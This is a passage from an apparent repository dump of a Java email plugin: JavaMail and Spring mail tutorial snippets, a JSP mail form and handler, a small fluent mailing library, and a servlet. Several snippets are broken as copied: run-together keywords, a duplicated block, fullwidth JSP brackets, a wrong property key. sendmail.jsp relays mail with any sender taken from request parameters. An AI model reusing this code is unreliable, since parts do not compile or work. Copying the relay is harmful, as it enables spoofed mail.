((len = is.read(bytes)) != -1) {\n\t\t\tos.write(bytes, 0, len);\n\t\t}\n\t\tif (os != null)\n\t\t\tos.close();\n\t\tif (is != null)\n\t\t\tis.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/java_mail/smtp.properties",
    "content": "#----------------这两个是构建session必须的字段----------\n#smtp服务器\nmail.smtp.host=smtp.qq.com\n#身份验证mail.smtp.auth=true#--------------------------------------------------------------\n#发送者的邮箱用户名\nmail.sender.username=xxx@xx.com\n#发送者的邮箱密码\nmail.sender.password=xxxxxxxxxx"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/send.jsp",
    "content": "　　＜HTML＞\n　　＜BODY＞\n　　＜FORM action=\"sendmail.jsp\" method=\"post\"＞\n　　＜TABLE align=\"center\"＞\n　　＜TR＞\n　　＜TD width=\"50%\"＞\n　　To:＜BR＞＜INPUT name=\"to\" size=\"25\"＞\n　　＜/TD＞\n　　＜TD width=\"50%\"＞\n　　From:＜BR＞＜INPUT name=\"from\" size=\"25\"＞\n　　＜/TD＞\n　　＜/TR＞\n　　＜TR＞\n　　＜TD colspan=\"2\"＞\n　　Subject:＜BR＞＜INPUT name=\"subject\" size=\"50\"＞\n　　＜/TD＞\n　　＜/TR＞\n　　＜TR＞\n　　＜TD colspan=\"2\"＞\n　　Message:＜BR＞＜TEXTAREA name=\"text\" rows=25 cols=85＞＜/TEXTAREA＞\n　　＜/TD＞\n　　＜/TR＞\n　　＜/TABLE＞\n　　＜INPUT type=\"submit\" name=\"cb_submit\" value=\" Send \"＞\n　　＜INPUT type=\"reset\" name=\"cb_reset\" value=\" Clear \"＞\n　　＜/FORM＞\n　　＜/BODY＞\n　　＜/HTML＞"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/sendmail.jsp",
    "content": "＜%@ page\n　　import=\" javax.mail.*, javax.mail.internet.*, javax.activation.*,java.util.*\"\n　　%＞\n　　＜html＞\n　　＜head＞\n　　＜TITLE＞JSP meets JavaMail, what a sweet combo.＜/TITLE＞\n　　＜/HEAD＞\n　　＜BODY＞\n　　＜%\n　　try{\n　　Properties props = new Properties();\n　　Session sendMailSession;\n　　Store store;\n　　Transport transport;\n　　sendMailSession = Session.getInstance(props, null);\n　　props.put(\"mail.smtp.host\", \"smtp.jspinsider.com\");\n　　Message newMessage = new MimeMessage(sendMailSession);\n　　newMessage.setFrom(new InternetAddress(request.getParameter(\"from\")));\n　　newMessage.setRecipient(Message.RecipientType.TO, new InternetAddress(request.getParameter(\"to\")));\n　　newMessage.setSubject(request.getParameter(\"subject\"));\n　　newMessage.setSentDate(new Date());\n　　newMessage.setText(request.getParameter(\"text\"));\n　　transport = sendMailSession.getTransport(\"smtp\");\n　　transport.send(newMessage);\n　　%＞\n　　＜P＞Your mail has been sent.＜/P＞\n　　＜%\n　　}\n　　catch(MessagingException m)\n　　{\n　　out.println(m.toString());\n　　}\n　　%＞\n　　＜/BODY＞\n　　＜/HTML＞"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/spring_email/simple.txt",
    "content": "import java.util.Properties;  \nimport javax.mail.Session;  \nimport org.springframework.mail.SimpleMailMessage;  \nimport org.springframework.mail.javamail.JavaMailSenderImpl;  \n/**\n * 如果新建的是web工程，那么javaee.jar会与mail.jar和javax.activation.jar包内容冲突\n * 引起：java.lang.NoClassDefFoundError: com/sun/mail/util/LineInputStream\n */\npublicclass SendMail {  \npublicstaticvoid main(String[] args) {  \n// 发送器\n  JavaMailSenderImpl sender = new JavaMailSenderImpl();  \n  sender.setHost(\"smtp.163.com\");  \n  sender.setPort(25); // 默认就是25\n  sender.setUsername(\"用户名@163.com\");   \n  sender.setPassword(\"密码\");  \n// 配置文件对象   \n        Properties props = new Properties();      \n        props.put(\"mail.smtp.auth\", \"true\"); // 是否进行验证\n  Session session = Session.getInstance(props);  \n  sender.setSession(session); // 为发送器指定会话\n  SimpleMailMessage mail = new SimpleMailMessage();  \n  mail.setTo(\"455213313@qq.com\"); // 发送给谁\n  mail.setSubject(\"强哥邀请，谁敢不从！\"); // 标题\n  mail.setFrom(\"用户名@163.com\"); // 来自\n// 邮件内容\n  mail.setText(\"强哥邀请你访问我的博客：http://cuisuqiang.iteye.com/！\");  \n  sender.send(mail); // 发送\n  System.out.println(\"邮件发送成功\");  \n }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/spring_email/spring_email.txt",
    "content": "package com.jun.plugin.email.spring_email;\n\nimport  java.util.Properties;  \n  \n  \nimport  org.springframework.mail.SimpleMailMessage;   \nimport  org.springframework.mail.javamail.JavaMailSenderImpl;   \n  \n  \n/** \n  * 本类测试简单邮件  \n  * 直接用邮件发送 \n  *  @author  Administrator \n  * \n   */  \n public   class  SingleMailSend {   \n    public   static   void  main(String args[]){   \n     JavaMailSenderImpl senderImpl  =   new  JavaMailSenderImpl();   \n    // 设定mail server   \n     senderImpl.setHost( \" smtp.163.com \" );  \n        \n      // 建立邮件消息   \n     SimpleMailMessage mailMessage  =   new  SimpleMailMessage();   \n      // 设置收件人，寄件人 用数组发送多个邮件  \n      // String[] array = new String[]    {\"sun111@163.com\",\"sun222@sohu.com\"};      \n      // mailMessage.setTo(array);   \n     mailMessage.setTo( \" toEmail@sina.com \" );   \n     mailMessage.setFrom( \" userName@163.com \" );   \n     mailMessage.setSubject( \" 测试简单文本邮件发送！ \" );   \n     mailMessage.setText( \" 测试我的简单邮件发送机制！！ \" );   \n       \n     senderImpl.setUsername( \" userName \" ) ;  //  根据自己的情况,设置username  \n     senderImpl.setPassword( \" password \" ) ;  //  根据自己的情况, 设置password  \n       \n  Properties prop  =   new  Properties() ;  \n  prop.put( \" mail.smtp.auth \" ,  \" true \" ) ;  //  将这个参数设为true，让服务器进行认证,认证用户名和密码是否正确  \n  prop.put( \" mail.smtp.timeout \" ,  \" 25000 \" ) ;   \n  senderImpl.setJavaMailProperties(prop);    \n      // 发送邮件   \n     senderImpl.send(mailMessage);   \n        \n     System.out.println( \" 邮件发送成功.. \" );   \n      }   \n   }   \n   \n   \n   \n   \n 2.发送简单的html邮件  \n org.springframework.mail.javamail.MimeMessageHelper是处理JavaMail邮件常用的顺手组件之一。它可以让你摆脱繁复的javax.mail.internetAPI类  \n package net.xftzr.mail;  \n   \n   \n   \n   \n import java.util.Properties;  \n   \n   \n import javax.mail.internet.MimeMessage;   \n import org.springframework.mail.javamail.JavaMailSenderImpl;   \n import org.springframework.mail.javamail.MimeMessageHelper;   \n /**  \n  * 本类测试html邮件  \n  * @author wangjianme  \n  *  \n  */   \n public class HTMLMailDemo {   \n /**  \n * @param args  \n */   \n public static void main(String[] args) throws Exception{   \n     JavaMailSenderImpl senderImpl = new JavaMailSenderImpl();   \n       \n     //设定mail server   \n     senderImpl.setHost(\"smtp.163.com\");   \n       \n     //建立邮件消息,发送简单邮件和html邮件的区别   \n     MimeMessage mailMessage = senderImpl.createMimeMessage();   \n     MimeMessageHelper messageHelper = new MimeMessageHelper(mailMessage);   \n                \n     //设置收件人，寄件人   \n     messageHelper.setTo(\"Mailto@sina.com\");   \n     messageHelper.setFrom(\"username@163.com\");   \n     messageHelper.setSubject(\"测试HTML邮件！\");   \n     //true 表示启动HTML格式的邮件   \n     messageHelper.setText(\"<html><head></head><body><h1>hello!!spring html Mail</h1></body></html>\",true);   \n       \n     senderImpl.setUsername(\"username\") ; // 根据自己的情况,设置username  \n     senderImpl.setPassword(\"password\") ; // 根据自己的情况, 设置password  \n     Properties prop = new Properties() ;  \n     prop.put(\"mail.smtp.auth\", \"true\") ; // 将这个参数设为true，让服务器进行认证,认证用户名和密码是否正确  \n     prop.put(\"mail.smtp.timeout\", \"25000\") ;   \n     senderImpl.setJavaMailProperties(prop);   \n     //发送邮件   \n     senderImpl.send(mailMessage);   \n       \n     System.out.println(\"邮件发送成功..\");   \n }   \n }   \n   \n   \n   \n   \n 3.发送嵌套图片的邮件  \n   \n   \n Email允许添加附件，也允许在multipart信件中内嵌资源。内嵌资源可能是你在信件中希望使用的图像，或者样式表，但是又不想把它们作为附件。  \n package net.xftzr.mail;  \n   \n   \n import java.io.File;   \n import java.util.Properties;  \n   \n   \n import javax.mail.internet.MimeMessage;   \n import org.springframework.core.io.FileSystemResource;   \n import org.springframework.mail.javamail.JavaMailSenderImpl;   \n import org.springframework.mail.javamail.MimeMessageHelper;   \n /**  \n  * 本类测试邮件中嵌套图片  \n  * @author wangjianme     \n  *  \n  */   \n public class AttachedImageMail {   \n public static void main(String[] args) throws Exception{   \n     JavaMailSenderImpl senderImpl = new JavaMailSenderImpl();   \n       \n     //设定mail server   \n     senderImpl.setHost(\"smtp.163.com\");   \n   \n   \n     //建立邮件消息,发送简单邮件和html邮件的区别   \n     MimeMessage mailMessage = senderImpl.createMimeMessage();   \n     //注意这里的boolean,等于真的时候才能嵌套图片，在构建MimeMessageHelper时候，所给定的值是true表示启用，           \n     //multipart模式   \n     MimeMessageHelper messageHelper = new MimeMessageHelper(mailMessage,true);   \n       \n     //设置收件人，寄件人   \n     messageHelper.setTo(\"toMail@sina.com\");   \n     messageHelper.setFrom(\"username@163.com\");   \n     messageHelper.setSubject(\"测试邮件中嵌套图片!！\");   \n     //true 表示启动HTML格式的邮件   \n     messageHelper.setText(\"<html><head></head><body><h1>hello!!spring image html mail</h1>\" +   \n     \"<img src=\\\"cid:aaa\\\"/></body></html>\",true);   \n           \n     FileSystemResource img = new FileSystemResource(new File(\"g:/123.jpg\"));   \n       \n     messageHelper.addInline(\"aaa\",img);   \n       \n     senderImpl.setUsername(\"username\") ; // 根据自己的情况,设置username  \n     senderImpl.setPassword(\"password\") ; // 根据自己的情况, 设置password  \n     Properties prop = new Properties() ;  \n     prop.put(\"mail.smtp.auth\", \"true\") ; // 将这个参数设为true，让服务器进行认证,认证用户名和密码是否正确  \n     prop.put(\"mail.smtp.timeout\", \"25000\") ;   \n     senderImpl.setJavaMailProperties(prop);   \n       \n     //发送邮件   \n     senderImpl.send(mailMessage);   \n       \n     System.out.println(\"邮件发送成功..\");   \n }   \n }   \n   \n   \n   \n   \n 4.发送包含附件的邮件  \n package com.jun.plugin.email.spring_email;  \n   \n   \n   \n   \n   \n   \n import java.io.File;   \n import java.util.Properties;  \n   \n   \n import javax.mail.internet.MimeMessage;   \n import org.springframework.core.io.FileSystemResource;   \n import org.springframework.mail.javamail.JavaMailSenderImpl;   \n import org.springframework.mail .javamail.MimeMessageHelper;   \n public class AttachedFileMail {   \n /**  \n * 本类测试的是关于邮件中带有附件的例子  \n * @param args  \n */   \n public static void main(String[] args) throws Exception{   \n     JavaMailSenderImpl senderImpl = new JavaMailSenderImpl();   \n       \n     //设定mail server   \n     senderImpl.setHost(\"smtp.163.com\");   \n     //建立邮件消息,发送简单邮件和html邮件的区别   \n     MimeMessage mailMessage = senderImpl.createMimeMessage();   \n     //注意这里的boolean,等于真的时候才能嵌套图片，在构建MimeMessageHelper时候，所给定的值是true表示启用，           \n     //multipart模式 为true时发送附件 可以设置html格式  \n     MimeMessageHelper messageHelper = new MimeMessageHelper(mailMessage,true,\"utf-8\");   \n       \n     //设置收件人，寄件人   \n     messageHelper.setTo(\"toMail@sina.com\");      \n     messageHelper.setFrom(\"username@163.com\");   \n     messageHelper.setSubject(\"测试邮件中上传附件!！\");   \n     //true 表示启动HTML格式的邮件   \n     messageHelper.setText(\"<html><head></head><body><h1>你好：附件中有学习资料！</h1></body></html>\",true);   \n           \n     FileSystemResource file = new FileSystemResource(new File(\"g:/test.rar\"));   \n     //这里的方法调用和插入图片是不同的。   \n     messageHelper.addAttachment(\"test.rar\",file);   \n       \n     senderImpl.setUsername(\"username\") ; // 根据自己的情况,设置username  \n     senderImpl.setPassword(\"password\") ; // 根据自己的情况, 设置password  \n     Properties prop = new Properties() ;  \n     prop.put(\"mail.smtp.auth\", \"true\") ; // 将这个参数设为true，让服务器进行认证,认证用户名和密码是否正确  \n     prop.put(\"mail.smtp.timeout\", \"25000\") ;   \n     senderImpl.setJavaMailProperties(prop);   \n     //发送邮件   \n     senderImpl.send(mailMessage);   \n       \n     System.out.println(\"邮件发送成功..\");   \n }   \n }/**  \n * 本类测试的是关于邮件中带有附件的例子  \n * @param args  \n */   \n public static void main(String[] args) throws Exception{   \n     JavaMailSenderImpl senderImpl = new JavaMailSenderImpl();   \n       \n     //设定mail server   \n     senderImpl.setHost(\"smtp.163.com\");   \n     //建立邮件消息,发送简单邮件和html邮件的区别   \n     MimeMessage mailMessage = senderImpl.createMimeMessage();   \n     //注意这里的boolean,等于真的时候才能嵌套图片，在构建MimeMessageHelper时候，所给定的值是true表示启用，           \n     //multipart模式 为true时发送附件 可以设置html格式  \n     MimeMessageHelper messageHelper = new MimeMessageHelper(mailMessage,true,\"utf-8\");   \n       \n     //设置收件人，寄件人   \n     messageHelper.setTo(\"toMail@sina.com\");      \n     messageHelper.setFrom(\"username@163.com\");   \n     messageHelper.setSubject(\"测试邮件中上传附件!！\");   \n     //true 表示启动HTML格式的邮件   \n     messageHelper.setText(\"<html><head></head><body><h1>你好：附件中有学习资料！</h1></body></html>\",true);   \n           \n     FileSystemResource file = new FileSystemResource(new File(\"g:/test.rar\"));   \n     //这里的方法调用和插入图片是不同的。   \n     messageHelper.addAttachment(\"test.rar\",file);   \n       \n     senderImpl.setUsername(\"username\") ; // 根据自己的情况,设置username  \n     senderImpl.setPassword(\"password\") ; // 根据自己的情况, 设置password  \n     Properties prop = new Properties() ;  \n     prop.put(\"mail.smtp.auth\", \"true\") ; // 将这个参数设为true，让服务器进行认证,认证用户名和密码是否正确  \n     prop.put(\"mail.smtp.timeout\", \"25000\") ;   \n     senderImpl.setJavaMailProperties(prop);   \n     //发送邮件   \n     senderImpl.send(mailMessage);   \n       \n     System.out.println(\"邮件发送成功..\");   \n }   \n }\n "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/spring_email/spring_html.txt",
    "content": "import java.util.Properties;  \nimport javax.mail.Session;  \nimport javax.mail.internet.MimeMessage;  \nimport org.springframework.mail.javamail.JavaMailSenderImpl;  \nimport org.springframework.mail.javamail.MimeMessageHelper;  \n/**\n * 这里不做异常处理\n */\npublicclass SendMail {  \npublicstaticvoid main(String[] args) throws Exception{  \n// 发送器\n  JavaMailSenderImpl sender = new JavaMailSenderImpl();  \n  sender.setHost(\"smtp.163.com\");  \n  sender.setPort(25); // 默认就是25\n  sender.setUsername(\"用户@163.com\");   \n  sender.setPassword(\"密码\");  \n  sender.setDefaultEncoding(\"UTF-8\");  \n// 配置文件对象\n        Properties props = new Properties();      \n        props.put(\"mail.smtp.auth\", \"true\"); // 是否进行验证\n  Session session = Session.getInstance(props);  \n  sender.setSession(session); // 为发送器指定会话\n  MimeMessage mail = sender.createMimeMessage();  \n  MimeMessageHelper helper = new MimeMessageHelper(mail);  \n  helper.setTo(\"455213313@qq.com\"); // 发送给谁\n  helper.setSubject(\"强哥邀请，谁敢不从！\"); // 标题\n  helper.setFrom(\"用户@163.com\"); // 来自\n// 邮件内容，第二个参数指定发送的是HTML格式\n  helper.setText(\"强哥邀请你访问我的博客：http://cuisuqiang.iteye.com/！\",true);  \n  sender.send(mail); // 发送\n  System.out.println(\"邮件发送成功\");  \n }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/me/MyEmail.java",
    "content": "package com.jun.plugin.plugin.me;\n\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.*;\nimport javax.mail.internet.*;\nimport java.io.File;\nimport java.net.URL;\nimport java.util.*;\n\n/**\n * Oh My email\n * <p>\n * May be the smallest mail send library.\n *\n * @author biezhi\n * 2017/5/30\n */\npublic class MyEmail {\n\n    private static Session session;\n    private static String  user;\n\n    private MimeMessage        msg;\n    private String             text;\n    private String             html;\n    private List<MimeBodyPart> attachments = new ArrayList<MimeBodyPart>();\n\n    private MyEmail() {\n    }\n\n    public static Properties defaultConfig(Boolean debug) {\n        Properties props = new Properties();\n        props.put(\"mail.smtp.auth\", \"true\");\n        props.put(\"mail.smtp.ssl.enable\", \"true\");\n        props.put(\"mail.transport.protocol\", \"smtp\");\n        props.put(\"mail.debug\", null != debug ? debug.toString() : \"false\");\n        props.put(\"mail.smtp.timeout\", \"10000\");\n        props.put(\"mail.smtp.port\", \"465\");\n        return props;\n    }\n\n    /**\n     * smtp entnterprise qq\n     *\n     * @param debug\n     * @return\n     */\n    public static Properties SMTP_ENT_QQ(boolean debug) {\n        Properties props = defaultConfig(debug);\n        props.put(\"mail.smtp.host\", \"smtp.exmail.qq.com\");\n        return props;\n    }\n\n    /**\n     * smtp qq\n     *\n     * @param debug enable debug\n     * @return\n     */\n    public static Properties SMTP_QQ(boolean debug) {\n        Properties props = defaultConfig(debug);\n        props.put(\"mail.smtp.host\", \"smtp.qq.com\");\n        return props;\n    }\n\n    /**\n     * smtp 163\n     *\n     * @param debug enable debug\n     * @return\n     */\n    public static Properties SMTP_163(Boolean debug) {\n        Properties props = defaultConfig(debug);\n        props.put(\"mail.smtp.host\", \"smtp.163.com\");\n        return props;\n    }\n\n    /**\n     * config username and password\n     *\n     * @param props    email property config\n     * @param username email auth username\n     * @param password email auth password\n     */\n    public static void config(Properties props, final String username, final String password) {\n        props.setProperty(\"username\", username);\n        props.setProperty(\"password\", password);\n        config(props);\n    }\n\n    public static void config(Properties props) {\n        final String username = props.getProperty(\"username\");\n        final String password = props.getProperty(\"password\");\n        user = username;\n        session = Session.getInstance(props, new Authenticator() {\n            protected PasswordAuthentication getPasswordAuthentication() {\n                return new PasswordAuthentication(username, password);\n            }\n        });\n    }\n\n    /**\n     * set email subject\n     *\n     * @param subject subject title\n     */\n    public static MyEmail subject(String subject) throws SendMailException {\n        MyEmail ohMyEmail = new MyEmail();\n        ohMyEmail.msg = new MimeMessage(session);\n        try {\n            ohMyEmail.msg.setSubject(subject, \"UTF-8\");\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n        return ohMyEmail;\n    }\n\n    /**\n     * set email from\n     *\n     * @param nickName from nickname\n     */\n    public MyEmail from(String nickName) throws SendMailException {\n        return from(nickName, user);\n    }\n\n    /**\n     * set email nickname and from user\n     *\n     * @param nickName from nickname\n     * @param from     from email\n     */\n    public MyEmail from(String nickName, String from) throws SendMailException {\n        try {\n            String encodeNickName = MimeUtility.encodeText(nickName);\n            msg.setFrom(new InternetAddress(encodeNickName + \" <\" + from + \">\"));\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n        return this;\n    }\n\n    public MyEmail replyTo(String... replyTo) throws SendMailException {\n        String result = Arrays.asList(replyTo).toString().replaceAll(\"(^\\\\[|\\\\]$)\", \"\").replace(\", \", \",\");\n        try {\n            msg.setReplyTo(InternetAddress.parse(result));\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n        return this;\n    }\n\n    public MyEmail replyTo(String replyTo) throws SendMailException {\n        try {\n            msg.setReplyTo(InternetAddress.parse(replyTo.replace(\";\", \",\")));\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n        return this;\n    }\n\n    public MyEmail to(String... to) throws SendMailException {\n        try {\n            return addRecipients(to, Message.RecipientType.TO);\n        } catch (MessagingException e) {\n            throw new SendMailException(e);\n        }\n    }\n\n    public MyEmail to(String to) throws SendMailException {\n        try {\n            return addRecipient(to, Message.RecipientType.TO);\n        } catch (MessagingException e) {\n            throw new SendMailException(e);\n        }\n    }\n\n    public MyEmail cc(String... cc) throws SendMailException {\n        try {\n            return addRecipients(cc, Message.RecipientType.CC);\n        } catch (MessagingException e) {\n            throw new SendMailException(e);\n        }\n    }\n\n    public MyEmail cc(String cc) throws SendMailException {\n        try {\n            return addRecipient(cc, Message.RecipientType.CC);\n        } catch (MessagingException e) {\n            throw new SendMailException(e);\n        }\n    }\n\n    public MyEmail bcc(String... bcc) throws SendMailException {\n        try {\n            return addRecipients(bcc, Message.RecipientType.BCC);\n        } catch (MessagingException e) {\n            throw new SendMailException(e);\n        }\n    }\n\n    public MyEmail bcc(String bcc) throws MessagingException {\n        return addRecipient(bcc, Message.RecipientType.BCC);\n    }\n\n    private MyEmail addRecipients(String[] recipients, Message.RecipientType type) throws MessagingException {\n        String result = Arrays.asList(recipients).toString().replace(\"(^\\\\[|\\\\]$)\", \"\").replace(\", \", \",\");\n        msg.setRecipients(type, InternetAddress.parse(result));\n        return this;\n    }\n\n    private MyEmail addRecipient(String recipient, Message.RecipientType type) throws MessagingException {\n        msg.setRecipients(type, InternetAddress.parse(recipient.replace(\";\", \",\")));\n        return this;\n    }\n\n    public MyEmail text(String text) {\n        this.text = text;\n        return this;\n    }\n\n    public MyEmail html(String html) {\n        this.html = html;\n        return this;\n    }\n\n    public MyEmail attach(File file) throws SendMailException {\n        attachments.add(createAttachment(file, null));\n        return this;\n    }\n\n    public MyEmail attach(File file, String fileName) throws SendMailException {\n        attachments.add(createAttachment(file, fileName));\n        return this;\n    }\n\n    public MyEmail attachURL(URL url, String fileName) throws SendMailException {\n        attachments.add(createURLAttachment(url, fileName));\n        return this;\n    }\n\n    private MimeBodyPart createAttachment(File file, String fileName) throws SendMailException {\n        MimeBodyPart   attachmentPart = new MimeBodyPart();\n        FileDataSource fds            = new FileDataSource(file);\n        try {\n            attachmentPart.setDataHandler(new DataHandler(fds));\n            attachmentPart.setFileName(null == fileName ? MimeUtility.encodeText(fds.getName()) : MimeUtility.encodeText(fileName));\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n        return attachmentPart;\n    }\n\n    private MimeBodyPart createURLAttachment(URL url, String fileName) throws SendMailException {\n        MimeBodyPart attachmentPart = new MimeBodyPart();\n\n        DataHandler dataHandler = new DataHandler(url);\n        try {\n            attachmentPart.setDataHandler(dataHandler);\n            attachmentPart.setFileName(null == fileName ? MimeUtility.encodeText(fileName) : MimeUtility.encodeText(fileName));\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n        return attachmentPart;\n    }\n\n    public void send() throws SendMailException {\n        if (text == null && html == null) {\n            throw new IllegalArgumentException(\"At least one context has to be provided: Text or Html\");\n        }\n\n        MimeMultipart cover;\n        boolean       usingAlternative = false;\n        boolean       hasAttachments   = attachments.size() > 0;\n\n        try {\n            if (text != null && html == null) {\n                // TEXT ONLY\n                cover = new MimeMultipart(\"mixed\");\n                cover.addBodyPart(textPart());\n            } else if (text == null && html != null) {\n                // HTML ONLY\n                cover = new MimeMultipart(\"mixed\");\n                cover.addBodyPart(htmlPart());\n            } else {\n                // HTML + TEXT\n                cover = new MimeMultipart(\"alternative\");\n                cover.addBodyPart(textPart());\n                cover.addBodyPart(htmlPart());\n                usingAlternative = true;\n            }\n\n            MimeMultipart content = cover;\n            if (usingAlternative && hasAttachments) {\n                content = new MimeMultipart(\"mixed\");\n                content.addBodyPart(toBodyPart(cover));\n            }\n\n            for (MimeBodyPart attachment : attachments) {\n                content.addBodyPart(attachment);\n            }\n\n            msg.setContent(content);\n            msg.setSentDate(new Date());\n            Transport.send(msg);\n        } catch (Exception e) {\n            throw new SendMailException(e);\n        }\n    }\n\n    private MimeBodyPart toBodyPart(MimeMultipart cover) throws MessagingException {\n        MimeBodyPart wrap = new MimeBodyPart();\n        wrap.setContent(cover);\n        return wrap;\n    }\n\n    private MimeBodyPart textPart() throws MessagingException {\n        MimeBodyPart bodyPart = new MimeBodyPart();\n        bodyPart.setText(text);\n        return bodyPart;\n    }\n\n    private MimeBodyPart htmlPart() throws MessagingException {\n        MimeBodyPart bodyPart = new MimeBodyPart();\n        bodyPart.setContent(html, \"text/html; charset=utf-8\");\n        return bodyPart;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/me/SendMailException.java",
    "content": "package com.jun.plugin.plugin.me;\n\n/**\n * Send Email Exception\n *\n * @author biezhi\n * @date 2018/10/9\n */\npublic class SendMailException extends Exception {\n\n    public SendMailException() {\n    }\n\n    public SendMailException(String message) {\n        super(message);\n    }\n\n    public SendMailException(Throwable cause) {\n        super(cause);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/MyAuthentication.java",
    "content": "package com.jun.web.biz.mail;\n\nimport javax.mail.Authenticator;\nimport javax.mail.PasswordAuthentication;\n\npublic class MyAuthentication extends Authenticator {  \n\t  \n    private String username;  \n    private String password;  \n      \n    public MyAuthentication(String username, String password) {  \n        this.username = username;  \n        this.password = password;  \n    }  \n      \n    @Override  \n    protected PasswordAuthentication getPasswordAuthentication() {  \n          \n        return new PasswordAuthentication(username, password);  \n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/web/biz/mail/SendEmail.java",
    "content": "package com.jun.web.biz.mail;\n\n//文件名 SendEmail.java\nimport java.io.*;\nimport java.util.*;\nimport javax.servlet.*;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.*;\nimport javax.mail.*;\nimport javax.mail.internet.*;\nimport javax.activation.*;\n\n@WebServlet(\"/sendmail\")\npublic class SendEmail extends HttpServlet {\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// 收件人的电子邮件 ID\n\t\tString to = \"jsjs9494@163.com\";\n\n\t\t// 发件人的电子邮件 ID\n\t\tString from = \"jsjs9494@163.com\";\n\n\t\t// 假设您是从本地主机发送电子邮件\n\t\tString host = \"smtp.163.com\";\n\n\t\t// 获取系统的属性\n\t\tProperties properties = System.getProperties();\n\n\t\t// 设置邮件服务器\n\t\tproperties.setProperty(\"smtp.163.com\", host);\n\n\t\t// 获取默认的 Session 对象\n\t\tSession session = Session.getDefaultInstance(properties);\n\n\t\t// 设置响应内容类型\n\t\tresponse.setContentType(\"text/html;charset=UTF-8\");\n\t\tPrintWriter out = response.getWriter();\n\n\t\ttry {\n\t\t\t// 创建一个默认的 MimeMessage 对象\n\t\t\tMimeMessage message = new MimeMessage(session);\n\t\t\t// 设置 From: header field of the header.\n\t\t\tmessage.setFrom(new InternetAddress(from));\n\t\t\t// 设置 To: header field of the header.\n\t\t\tmessage.addRecipient(Message.RecipientType.TO, new InternetAddress(to));\n\t\t\t// 设置 Subject: header field\n\t\t\tmessage.setSubject(\"This is the Subject Line!\");\n\t\t\t// 现在设置实际消息\n\t\t\tmessage.setText(\"This is actual message\");\n\t\t\t// 发送消息\n\t\t\tTransport.send(message);\n\t\t\tString title = \"发送电子邮件\";\n\t\t\tString res = \"成功发送消息...\";\n\t\t\tString docType = \"<!DOCTYPE html> \\n\";\n\t\t\tout.println(docType + \"<html>\\n\" + \"<head><title>\" + title + \"</title></head>\\n\" + \"<body bgcolor=\\\"#f0f0f0\\\">\\n\" + \"<h1 align=\\\"center\\\">\" + title + \"</h1>\\n\" + \"<p align=\\\"center\\\">\"\n\t\t\t\t\t+ res + \"</p>\\n\" + \"</body></html>\");\n\t\t} catch (MessagingException mex) {\n\t\t\tmex.printStackTrace();\n\t\t}\n\t}\n\t\n\n\t  public void sendHtml(HttpServletRequest request,\n\t                    HttpServletResponse response)\n\t            throws ServletException, IOException\n\t  {\n\t      // 收件人的电子邮件 ID\n\t      String to = \"abcd@gmail.com\";\n\t \n\t      // 发件人的电子邮件 ID\n\t      String from = \"web@gmail.com\";\n\t \n\t      // 假设您是从本地主机发送电子邮件\n\t      String host = \"localhost\";\n\t \n\t      // 获取系统的属性\n\t      Properties properties = System.getProperties();\n\t \n\t      // 设置邮件服务器\n\t      properties.setProperty(\"mail.smtp.host\", host);\n\t \n\t      // 获取默认的 Session 对象\n\t      Session session = Session.getDefaultInstance(properties);\n\t      \n\t\t  // 设置响应内容类型\n\t      response.setContentType(\"text/html;charset=UTF-8\");\n\t      PrintWriter out = response.getWriter();\n\n\t      try{\n\t         // 创建一个默认的 MimeMessage 对象\n\t         MimeMessage message = new MimeMessage(session);\n\t         // 设置 From: header field of the header.\n\t         message.setFrom(new InternetAddress(from));\n\t         // 设置 To: header field of the header.\n\t         message.addRecipient(Message.RecipientType.TO,\n\t                                  new InternetAddress(to));\n\t         // 设置 Subject: header field\n\t         message.setSubject(\"This is the Subject Line!\");\n\n\t         // 设置实际的 HTML 消息，内容大小不限\n\t         message.setContent(\"<h1>This is actual message</h1>\",\n\t                            \"text/html\" );\n\t         // 发送消息\n\t         Transport.send(message);\n\t         String title = \"发送电子邮件\";\n\t         String res = \"成功发送消息...\";\n\t         String docType = \"<!DOCTYPE html> \\n\";\n\t         out.println(docType +\n\t         \"<html>\\n\" +\n\t         \"<head><title>\" + title + \"</title></head>\\n\" +\n\t         \"<body bgcolor=\\\"#f0f0f0\\\">\\n\" +\n\t         \"<h1 align=\\\"center\\\">\" + title + \"</h1>\\n\" +\n\t         \"<p align=\\\"center\\\">\" + res + \"</p>\\n\" +\n\t         \"</body></html>\");\n\t      }catch (MessagingException mex) {\n\t         mex.printStackTrace();\n\t      }\n\t   }\n\t  \n\n\t    \n\t  public void sendMailWithFile(HttpServletRequest request,\n\t                    HttpServletResponse response)\n\t            throws ServletException, IOException\n\t  {\n\t      // 收件人的电子邮件 ID\n\t      String to = \"abcd@gmail.com\";\n\t \n\t      // 发件人的电子邮件 ID\n\t      String from = \"web@gmail.com\";\n\t \n\t      // 假设您是从本地主机发送电子邮件\n\t      String host = \"localhost\";\n\t \n\t      // 获取系统的属性\n\t      Properties properties = System.getProperties();\n\t \n\t      // 设置邮件服务器\n\t      properties.setProperty(\"mail.smtp.host\", host);\n\t \n\t      // 获取默认的 Session 对象\n\t      Session session = Session.getDefaultInstance(properties);\n\t      